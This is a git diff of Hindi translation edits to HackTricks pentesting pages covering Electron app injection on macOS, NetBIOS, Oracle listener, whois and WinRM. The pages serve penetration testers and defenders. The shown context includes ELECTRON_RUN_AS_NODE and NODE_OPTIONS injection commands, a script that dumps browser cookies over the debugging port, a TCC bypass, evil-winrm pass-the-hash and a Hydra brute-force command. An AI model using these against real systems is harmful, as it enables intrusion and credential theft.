diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
index c6d8bf818..ba013e243 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -13,8 +13,8 @@
- **`RunAsNode`**: यदि अक्षम किया गया, तो यह कोड इंजेक्ट करने के लिए env var **`ELECTRON_RUN_AS_NODE`** के उपयोग को रोकता है।
- **`EnableNodeCliInspectArguments`**: यदि अक्षम किया गया, तो `--inspect`, `--inspect-brk` जैसे params का सम्मान नहीं किया जाएगा। इस तरह कोड इंजेक्ट करने से बचना।
-- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को रोकना इस फ़ाइल की सामग्री को संशोधित करके।
-- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंत में **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
+- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को इस फ़ाइल की सामग्री को संशोधित करके रोकना।
+- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंततः **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
- **`LoadBrowserProcessSpecificV8Snapshot`**: यदि सक्षम किया गया, तो ब्राउज़र प्रक्रिया अपने V8 स्नैपशॉट के लिए `browser_v8_context_snapshot.bin` नामक फ़ाइल का उपयोग करती है।
एक और दिलचस्प फ्यूज़ जो कोड इंजेक्शन को रोकने वाला नहीं है:
@@ -23,7 +23,7 @@
### Checking Electron Fuses
-आप एक एप्लिकेशन से **इन ध्वजों की जांच कर सकते हैं**:
+आप एक एप्लिकेशन से **इन ध्वजों की जांच** कर सकते हैं:
```bash
npx @electron/fuses read --app /Applications/Slack.app
@@ -46,15 +46,15 @@ macOS अनुप्रयोगों में यह आमतौर पर
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
-आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में "0" या "1" संख्या देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए बदलें।
+आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में एक संख्या "0" या "1" देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए संशोधित करें।
-ध्यान दें कि यदि आप इन बाइट्स को संशोधित करके **`Electron Framework`** बाइनरी को किसी एप्लिकेशन के अंदर **ओवरराइट** करने की कोशिश करते हैं, तो ऐप नहीं चलेगा।
+ध्यान दें कि यदि आप इन बाइट्स को संशोधित करके **`Electron Framework` बाइनरी** को किसी एप्लिकेशन के अंदर **ओवरराइट** करने की कोशिश करते हैं, तो ऐप नहीं चलेगा।
## RCE कोड को Electron एप्लिकेशनों में जोड़ना
-ऐसे **बाहरी JS/HTML फ़ाइलें** हो सकती हैं जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
+ऐसा हो सकता है कि **बाहरी JS/HTML फ़ाइलें** हों जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
> [!CAUTION]
> हालाँकि, वर्तमान में 2 सीमाएँ हैं:
@@ -62,9 +62,9 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> - एक ऐप को संशोधित करने के लिए **`kTCCServiceSystemPolicyAppBundles`** अनुमति **आवश्यक** है, इसलिए डिफ़ॉल्ट रूप से यह अब संभव नहीं है।
> - संकलित **`asap`** फ़ाइल में आमतौर पर फ्यूज़ **`embeddedAsarIntegrityValidation`** `और` **`onlyLoadAppFromAsar`** `सक्षम` होते हैं
>
-> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया गया है।
+> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया जाता है।
-ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर का नाम **`app.app/Contents`** से **`app.app/NotCon`** में बदलकर, **आपके** **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करके, इसे फिर से **`app.app/Contents`** नाम देकर और इसे निष्पादित करके।
+ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर **`app.app/Contents`** का नाम बदलकर **`app.app/NotCon`** करना, अपने **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करना, इसे फिर से **`app.app/Contents`** नाम देना और इसे निष्पादित करना।
आप asar फ़ाइल से कोड को अनपैक कर सकते हैं:
```bash
@@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE`
-According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
+According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट किया गया है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
-> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है।
+> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा, जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न किया गया हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है।
>
> यदि आप **`ELECTRON_RUN_AS_NODE`** सेट नहीं करते हैं, तो आपको **त्रुटि** मिलेगी: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
@@ -155,11 +155,13 @@ For example:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
-> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे फ्यूज़ **`RunAsNode`** बंद होने पर भी **अनदेखा** किया जाएगा।
+> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** बंद है।
>
-> हालाँकि, आप **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग करके कुछ जानकारी चुरा सकते हैं जैसे कि **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
+> हालाँकि, आप अभी भी **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग कर सकते हैं लेकिन पिछले पेलोड अन्य प्रक्रियाओं को निष्पादित करने के लिए काम नहीं करेगा।
-आप यह सीख सकते हैं कि ऐसा कैसे करना है [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
+पैरामीटर **`--remote-debugging-port=9222`** का उपयोग करके इलेक्ट्रॉन ऐप से कुछ जानकारी चुराना संभव है जैसे **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
+
+आप यह सीख सकते हैं [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें:
```python
import websocket
ws = websocket.WebSocket()
@@ -167,9 +169,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
-In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695), इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**।
+इस [**ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695) में, इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**।
-### ऐप प्लिस्ट से इंजेक्शन
+### ऐप plist से इंजेक्शन
आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए इन कुंजियों को जोड़कर कर सकते हैं:
```xml
@@ -185,17 +187,17 @@ In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/127
```
-## TCC Bypass पुराने संस्करणों का दुरुपयोग
+## TCC Bypass abusing Older Versions
> [!TIP]
> macOS का TCC डेमन एप्लिकेशन के निष्पादित संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
-## गैर-JS कोड चलाना
+## Run non JS Code
-पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में लेती हैं**।\
+पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में मिलती हैं**।\
इसलिए, यदि आप कैमरा या माइक्रोफ़ोन तक पहुँचने के लिए विशेषाधिकारों का दुरुपयोग करना चाहते हैं, तो आप बस **प्रक्रिया से एक और बाइनरी चला सकते हैं**।
-## स्वचालित इंजेक्शन
+## Automatic Injection
उपकरण [**electroniz3r**](https://github.com/r3ggi/electroniz3r) का उपयोग करना आसान है **संवेदनशील इलेक्ट्रॉन एप्लिकेशन** खोजने और उन पर कोड इंजेक्ट करने के लिए। यह उपकरण **`--inspect`** तकनीक का उपयोग करने की कोशिश करेगा:
diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
index 2b656b92e..55712db66 100644
--- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md
+++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md
@@ -10,11 +10,11 @@
- नाम पंजीकरण और समाधान के लिए नाम सेवा (पोर्ट: 137/udp और 137/tcp)।
- कनेक्शन रहित संचार के लिए डेटाग्राम वितरण सेवा (पोर्ट: 138/udp)।
-- कनेक्शन-उन्मुख संचार के लिए सत्र सेवा (पोर्ट: 139/tcp)।
+- कनेक्शन उन्मुख संचार के लिए सत्र सेवा (पोर्ट: 139/tcp)।
### Name Service
-किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसे एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
+किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसका एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की गणना के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n
```
### Datagram Distribution Service
-NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
+NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों पर प्रसारण का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@@ -49,7 +49,7 @@ PORT STATE SERVICE VERSION
137-138-139-pentesting-netbios.md
{{#endref}}
-## HackTricks स्वचालित कमांड
+## HackTricks स्वचालित आदेश
```
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
index 36ced8fab..eabde9d4e 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md
@@ -4,7 +4,7 @@
## Basic Information
-Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
+Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@@ -15,7 +15,7 @@ Oracle database (Oracle DB) एक रिलेशनल डेटाबेस
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
-3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
+3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
index a910fc019..db28adb86 100644
--- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
+++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
@@ -4,9 +4,9 @@
## Basic Information
-Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
+Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
-Oracle की जानकारी प्राप्त करते समय पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
+जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 1522–1529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
@@ -15,7 +15,7 @@ Oracle की जानकारी प्राप्त करते समय
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
-3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
+3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
@@ -23,7 +23,7 @@ MSF oracle मॉड्यूल का उपयोग करने के ल
## पोस्ट
-इन पोस्टों की जाँच करें:
+इन पोस्टों की जांच करें:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md
index 9b218621c..168e9bd26 100644
--- a/src/network-services-pentesting/43-pentesting-whois.md
+++ b/src/network-services-pentesting/43-pentesting-whois.md
@@ -13,7 +13,7 @@ PORT STATE SERVICE
```
## Enumerate
-Get all the information that a whois service has about a domain:
+एक डोमेन के बारे में जो जानकारी एक whois सेवा के पास है, उसे प्राप्त करें:
```bash
whois -h -p "domain.tld"
echo "domain.ltd" | nc -vn
diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
index a15c67276..29b8a140c 100644
--- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md
+++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -6,23 +6,23 @@
[Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, इस प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफ़ेस के रूप में प्रस्तुत होता है।
-किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
+किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
-उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM स्थापित किया गया है, जिससे दूरस्थ सत्र शुरू करने के प्रयासों की अनुमति मिलती है।
+उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM सेटअप किया गया है, जिससे दूरस्थ सत्र शुरू करने के प्रयासों की अनुमति मिलती है।
### **WinRM सत्र शुरू करना**
-PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
+PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell कमांड स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell एक्सेस के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
-यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी noted किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
+यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
-इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
+इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से सक्रिय** किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
@@ -40,7 +40,7 @@ Test-WSMan
.png>)
-- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके परिणामस्वरूप ऐसी कोई विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करती है।
+- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके लिए कोई ऐसा विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करता है।
.png>)
@@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
.png>)
-आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, तो आप कर सकते हैं:
+आप अपने वर्तमान PS कंसोल का **कमांड भी _**Invoke-Command**_ के माध्यम से चला सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर चलाना चाहते हैं**, तो आप कर सकते हैं:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
-तो क्लाइंट पर प्रयास करें (जानकारी [यहाँ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
+क्लाइंट पर प्रयास करें (जानकारी [यहां](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@@ -146,9 +146,9 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
-ईविल-वीएनआरएम का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
+**evil-winrm** का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
-### ईविल-वीएनआरएम के साथ हैश पास करें
+### evil-winrm के साथ हैश पास करें
```ruby
evil-winrm -u -H -i
```
@@ -261,4 +261,6 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
+
+
{{#include ../banners/hacktricks-training.md}}
